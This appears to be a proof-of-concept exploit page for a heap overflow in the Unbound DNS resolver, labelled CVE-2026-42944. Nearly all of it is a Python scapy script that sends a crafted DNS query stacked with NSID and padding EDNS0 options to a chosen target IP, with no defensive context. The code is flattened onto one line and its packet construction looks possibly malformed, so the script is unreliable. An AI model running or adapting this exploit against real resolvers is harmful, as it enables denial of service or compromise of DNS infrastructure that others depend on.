CVE-2026-42944 Unbound堆溢出漏洞

from scapy.all import * def send_exploit(target_ip): # Construct a DNS query with multiple EDNS0 options to trigger the heap overflow # The vulnerability triggers when Unbound encodes multiple NSID/Cookie/Pad options in the reply. # Base DNS query query = DNSQR(qname="example.com") # EDNS0 options: Multiple NSID options to trigger the miscalculation opt1 = DNSRROPT(rdata=DNSOPTNSID()) opt2 = DNSRROPT(rdata=DNSOPTNSID()) opt3 = DNSRROPT(rdata=DNSOPTPAD()) # Assemble the packet with multiple options in the Additional section packet = IP(dst=target_ip) / UDP(dport=53) / DNS(rd=1, qd=query, ar=DNSRROPT(z=0, rdata=[opt1, opt2, opt3])) print(f"[*] Sending exploit packet to {target_ip}...") send(packet) print("[+] Packet sent.") if __name__ == "__main__": target = "192.168.1.10" # Replace with actual target IP send_exploit(target)